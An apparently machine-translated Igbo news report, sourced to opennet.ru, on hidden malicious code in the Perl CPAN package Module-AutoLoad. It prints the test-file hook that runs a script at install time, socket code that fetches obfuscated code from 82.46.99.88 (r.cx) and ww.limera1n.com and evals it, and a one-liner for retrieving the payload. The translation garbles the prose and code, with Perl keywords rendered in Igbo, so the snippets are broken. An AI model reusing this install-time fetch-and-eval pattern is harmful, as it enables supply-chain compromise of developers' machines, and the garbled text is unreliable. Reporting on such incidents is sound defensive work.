Achọpụtara koodu ọjọọ na ngwugwu Module-AutoLoad Perl

Na ngwugwu Perl ekesara site na ndekọ CPAN Modul- Ibu Ibu akpaaka, emebere ka ọ buru modul CPAN na-akpaghị aka na ofufe, mara koodu ojoo. Ntinye obi ojoo bu hụrụ na koodu ule 05_rcx.t, nke na-ebupu kemgbe 2011.
Ọ bụ ihe kwesịrị ịrịba ama na ajụjụ gbasara nbudata koodu ajụjụ bilitere Stackoverflow laa azụ na 2016.

Omume ọjọọ na-agbada ruo mbọ nbudata na mebie koodu sitere na sava ndị ọzọ (http://r.cx:1/) n'oge mmebe nke ụlọ nyocha ewepụtara mgbe ị na-etinye modul. A na-eche na koodu ahụ ebudatara na mbụ site na ihe nkesa mpụga adịghị njọ, ma ugbu a, a na-ebugharị arịrịọ ahụ na ngalaba ww.limera1n.com, nke na-enye akụkụ ya nke koodu maka igbu.

Iji hazie nbudata na faịlụ 05_rcx.t A na-eji koodu ndị a:

$prog m = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
m $gbalị = `$^X $prog`;

Koodu a kapịrị ọnụ na-eme ka e gbuo edemede ahụ ../contrib/RCX.pl, ihe ndị dị n'ime ya na-ebelata n'ahịrị:

jiri lib do{eval<$b>&&botstrap("RCX") if$b=io ọhụrụ::Socket::INET 82.46.99.88.":1″};

Edemede a na-ebu ibu mgbagwoju anya iji ọrụ perlobfuscator.com koodu sitere na onye ọbịa mpụga r.cx (koodu mkpụrụedemede 82.46.99.88 kwekọrọ na ederede "R.cX") wee mee ya na ngọngọ eval.

$ perl -MIO :: Socket -e'$b = ọhụrụ IO :: Socket :: INET 82.46.99.88.":1"; ebipụta <$b>;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

Mgbe ebupuchara, a ga-emecha ihe ndị a: koodu:

ebipụta {$b = IO ọhụrụ :: Socket :: INET"ww.limera1n.com:80″}"GET /iJailBreak
";evalor nloghachi dọrọ aka ná ntị $@mgbe$b;1

Ewepụla ngwungwu nsogbu ugbu a na ebe nchekwa. Kwụsịtụ (Perl Authors Bulite Server), na egbochiri akaụntụ odee modul. N'okwu a, modul ka na-anọgide dị na ebe nchekwa MetaCPAN ma enwere ike tinye ya ozugbo site na MetaCPAN site na iji ụfọdụ ngwa dị ka cpanminus. Achọpụtara yana a naghị ekesa ngwugwu ahụ n'ọtụtụ ebe.

Na-adọrọ mmasị ikwurịta ejikọrọ na onye edemede nke modul ahụ, bụ onye gọrọ agọ ozi ahụ na etinyere koodu ọjọọ mgbe emechara saịtị ya "r.cx" ma kọwaa na ọ na-ekpori ndụ naanị, ma jiri perlobfuscator.com ghara izochi ihe, kama iji belata nha. nke koodu na ime ka nnomi ya dị mfe site na klipbọọdụ. A na-akọwa nhọrọ nke aha ọrụ "botstrap" n'eziokwu na okwu a "dị ka bot ma dị mkpụmkpụ karịa bootstrap." Onye edemede nke modul ahụ mekwara ka obi sie ya ike na aghụghọ ndị a chọpụtara adịghị eme omume ọjọọ, kama ọ bụ naanị na-egosipụta ntinye na mmejuputa koodu site na TCP.

isi: opennet.ru